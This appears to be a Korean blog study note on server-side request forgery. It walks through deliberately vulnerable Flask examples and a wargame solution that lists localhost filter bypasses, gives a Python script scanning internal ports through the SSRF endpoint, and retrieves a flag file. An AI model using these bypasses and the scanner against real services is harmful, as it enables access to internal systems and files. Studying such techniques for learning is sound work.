Server-side Request Forgery
웹 서비스의 요청 변조
브라우저가 변조된 요청을 보내는 CSRF와는 달리 웹 서비스의 권한으로 변조된 요청을 보낼 수 있음
💡 웹 개발 언어는 HTTP 요청을 전송하는 라이브러리 제공 (PHP: php-curl, NodeJS: http, Python: urllib, requests)
이런 라이브러리는 서버와 서버간 통신을 위해 사용되기도 함
일반적으로 다른 웹 어플리케이션에 존재하는 리소스를 사용하기 위한 목적으로 통신
(마이크로서비스 간 통신, 외부 API 호출, 외부 웹 리소스 다운로드 등..)
최근에는 관리 및 코드 복잡도를 낮추기 위해 마이크로서비스들로 웹 서비스 구현하는 추세임
각 마이크로서비스는 주로 HTTP. GRPC등을 사용해 API통신
*마이크로서비스: 큰 어플리케이션을 잘게 쪼개 각각 독립적인 작은 서비스로 만드는 SW개발 방식
웹 서비스는 외부에서 접근할 수 없는 내부망의 기능을 사용할 때가 있다.
백오피스 서비스는 관리자 페이지라고도 불린다.
해당 기능은 사용자의 행위가 의심스러운 경우 계정을 정지시키거나, 삭제하는 등 관리자만 수행할 수 있는 모든 기능을 구현한 서비스다.
웹 서비스는 외부에서 직접 접근할 수 없는 내부망 서비스와 통신이 가능하다. 공격자가 SSRF 취약점을 통해 웹 서비스의 권한으로 요청을 보낸다면 공격자는 외부에서 간접적으로 내부망 서비스를 이용할 수 있게 된다.
웹 서비스가 보내는 요청을 변조하기 위해선 요청 내에 사용자의 입력값이 포함되어야 한다.
사용자가 입력한 URL에 요청을 보내는 경우
# pip3 install flask requests
# python3 main.py
from flask import Flask, request
import requests
app = Flask(__name__)
@app.route("/image_downloader")
def image_downloader():
# 사용자가 입력한 URL에 HTTP 요청 보내고 응답 반환하는 페이지
image_url = request.args.get("image_url", "") # URL 파라미터에서 image_url 값 추출
response = requests.get(image_url) # requests 라이브러리로 image_url URL에 HTTP GET 메소드 요청 보내고 결과는 response에 저장
return (
response.content, # HTTP 응답으로 온 데이터
200, # HTTP 응답 코드
{"Content-Type": response.headers.get("Content-Type", "")}, # HTTP 응답으로 온 헤더 중 Content-Type
)
@app.route("/request_info")
def request_info():
# 접속한 브라우저(User-Agent) 정보 출력 페이지
return request.user_agent.string
app.run(host="127.0.0.1", port=8000)
image_url의 값으로 request_info의 경로를 주면 브라우저 정보의 결과가 python-requests이다.
→ 웹 서비스에서 HTTP요청을 보냈기 때문
사용자가 웹 서비스에서 사용하는 마이크로서비스의 API주소를 알아내고 image_url에 주소 전달하면
외부에서 직접 접근할 수 없는 마이크로서비스의 기능을 임의로 사용가능함
웹 서비스의 요청 URL에 사용자의 입력값이 포함되는 경우
INTERNAL_API = "http://api.internal/"
# INTERNAL_API = "http://172.17.0.3/"
@app.route("/v1/api/user/information")
def user_info():
user_idx = request.args.get("user_idx", "") # 사용자가 전달한 user_idx값을 내부 API의 경로로 사용
response = requests.get(f"{INTERNAL_API}/user/{user_idx}")
@app.route("/v1/api/user/search")
def user_search():
user_name = request.args.get("user_name", "") # 사용자가 전달한 user_name값을 내부 API의 쿼리로 사용
user_type = "public"
response = requests.get(f"{INTERNAL_API}/user/search?user_name={user_name}&user_type={user_type}")
1. user_info 함수에서 user_idx에 ../search를 입력할 경우 웹 서비스는 요청으로 http://api.internal/search 를 보냄
.. 으로 상위 경로로 이동해 요청 보내는 경로 조작 가능
경로를 변조한다는 의미로 Path Traversal이라고 불림
2. user_search에서 user_name에 secret&user_type=private# 를 입력할 경우
http://api.internal/search?user_name=secret&user_type=private#&user_type=public을 보냄
이는 http://api.internal/search?user_name=secret&user_type=private와 동일
# 은 Fragment Identifier 구분자. 뒤에 붙는 문자열은 API경로에서 생략됨
웹 서비스의 요청 Body에 사용자의 입력값이 포함되는 경우
# pip3 install flask
# python main.py
from flask import Flask, request, session
import requests
from os import urandom
app = Flask(__name__)
app.secret_key = urandom(32)
INTERNAL_API = "http://127.0.0.1:8000/"
header = {"Content-Type": "application/x-www-form-urlencoded"}
@app.route("/v1/api/board/write", methods=["POST"])
def board_write(): # 사용자 입력값 HTTP Body에 포함하고 내부 API로 요청 보냄
session["idx"] = "guest"
# form 데이터에서
title = request.form.get("title", "") # title가져옴
body = request.form.get("body", "") # body가져옴
data = f"title={title}&body={body}&user={session['idx']}"
response = requests.post(f"{INTERNAL_API}/board/write", headers=header, data=data) # INTERNAL API에 사용자가 입력한 값 HTTP BODY 데이터로 사용해서 요청
return response.content # INTERNAL API 응답 결과 반환
@app.route("/board/write", methods=["POST"])
def internal_board_write(): # board_write에서 요청하는 내부 API 구현
# form 데이터로 입력받은 값 JSON 형식으로 반환
title = request.form.get("title", "")
body = request.form.get("body", "")
user = request.form.get("user", "")
info = {
"title": title,
"body": body,
"user": user,
}
return info
@app.route("/")
def index():
# board_write 기능 호출 페이지
return """
<form action="/v1/api/board/write" method="POST">
<input type="text" placeholder="title" name="title"/><br/>
<input type="text" placeholder="body" name="body"/><br/>
<input type="submit"/>
</form>
"""
app.run(host="127.0.0.1", port=8000, debug=True)
내부 API는 전달받은 값을 파싱할 경우 앞에 존재하는 파라미터의 값을 가져와 사용한다.
title에서 title&user=admin을 입력하면 data는 title=title&user=admin&body=body&user=guest로 구성된다.
앞에 존재하는 파라미터의 값이 우선이므로 user을 admin으로 변조할 수 있다.
web-ssrf
웹 서비스 분석

/../admin과 같이 상대 경로로 시작하게 되면 절대주소로 만들어 우회를 방어한다.
💡 URL 필터링
URL에 포함된 문자열을 검사하여 부적절한 URL로의 접근을 막는 보호기법
차단 리스트 필터링은 URL에 포함되면 안되는 문자열로 차단리스트 만들고, 이로 사용자의 접근 제어
허용 리스트 필터링은 접근을 허용할 URL로 허용리스트 만들고, 외의 URL에 접근을 시도하면 이를 차단
취약점 분석

목표는 /app/flag.txt다.
서버 주소에 127.0.0.1이나 localhost가 포함된 url로의 접근만을 막는다.
익스플로잇
1. 필터링 우회
▶ way1. 127.0.0.1과 매핑된 도메인 이름 이용
도메인 이름을 구매하고, DNS 서버에 등록하여 원하는 IP주소와 연결할 수 있다. 해당 이름을 url로 사용하면 필터링 우회가 가능하다.
이미 127.0.0.1에 매핑된 *.vcap.me를 이용할 수도 있다.
▶ way2. 127.0.0.1의 alias 이용
127.0.0.1은 각 자릿수를 16진수로 표기하여 0x7f.0x00.0x00.0x01
이에서 .을 제거한 0x7f000001
이를 10진수로 변환한 2130706433
127.0.0.1에서 0을 생략한 127.1과 127.0.1
모두 127.0.0.1을 가리킨다.
💡 127.0.0.1부터 127.0.0.255까지의 IP는 루프백 주소로, 모두 로컬 호스트를 가리킨다.
▶ way3. localhost의 alias 이용
URL에서 호스트와 스키마(http, https..)는 대소문자를 구분하지 않는다. 하지만 서버 코드에서는 구분을 한다.
http://vcap.me:8000/
http://0x7f.0x00.0x00.0x01:8000/
http://0x7f000001:8000/
http://2130706433:8000/
http://Localhost:8000/
http://127.0.0.255:8000/
로 필터링을 우회할 수 있다.
2. 포트 찾기
내부 포트는 1500이상 1800이하의 범위에서 열려있다.
import requests
import sys
from tqdm import tqdm
NOTFOUND_IMG = "iVBORw0KG"
# PNG 시그니처 Base64변환
def send_img(img_url):
data = {
"url": img_url,
}
response = requests.post(chall_url, data=data)
return response.text
def find_port():
for port in tqdm(range(1500, 1801)): # tqdm 라이브러리로 진행 상황 보여주며 순회
img_url = f"http://Localhost:{port}" # 필터링 우회
if NOTFOUND_IMG not in send_img(img_url):
print(f"Internal port number is: {port}")
return port
return None
if __name__ == "__main__":
if len(sys.argv) != 3: # 대상호스트 외부포트 입력 받음
print(f"Usage: python {sys.argv[0]} <host> <port>")
sys.exit(1)
chall_host = sys.argv[1]
chall_port = int(sys.argv[2])
chall_url = f"http://{chall_host}:{chall_port}/img_viewer"
internal_port = find_port()
💡 내부 포트, 외부 포트
내부 HTTP 포트: 서버 내부(로컬 환경)나 외부에서 직접 접근할 수 없는 내부 네트워크(사설망)에서만 동작하도록 열어둔 포트
외부 HTTP 포트: 인터넷에 연결된 외부의 모든 사용자가 접속할 수 있도록 열어둔 포트(HTTP 80, HTTPS 443)
외부 사용자가 내부 포트로 접근 시도시 방화벽이나 네트워크 설정에 의해서 막힘
SSRF 공격에서 공격자는 외부 포트로 접속을 요청한다. 주소는 http://Localhost:1583/flag.txt 와 같이 설정(내부 서버가 /app에서 실행중)
요청을 받은 웹 서버는 공격자의 요청대로 서버 내부에서 스스로 해당 주소에 접속을 시도한다. 서버 자신이 자신의 내부에 접속하므로 방화벽에 막히지 않는다.
내부 서비스는 아무런 의심 없이 관리자 페이지나 데이터(플래그)를 웹 서버에게 넘긴다. 웹 서버는 받아온 데이터를 공격자의 화면(웹 브라우저)에 이미지나 결과로 출력한다.


이미지가 안보인다
당황하지 말고 f12를 눌러서 개발자모드
elements에서 img를 클릭하여본다

알 수 없는 숫자가 보인다
base64로 인코딩해주면 플래그를 얻을 수 있다.
'Web' 카테고리의 다른 글
| ClientSide: CSRF (0) | 2026.09.20 |
|---|---|
| XSS-2 (0) | 2026.09.20 |
| XSS-1 (0) | 2026.09.20 |
| ClientSide: XSS (0) | 2026.09.20 |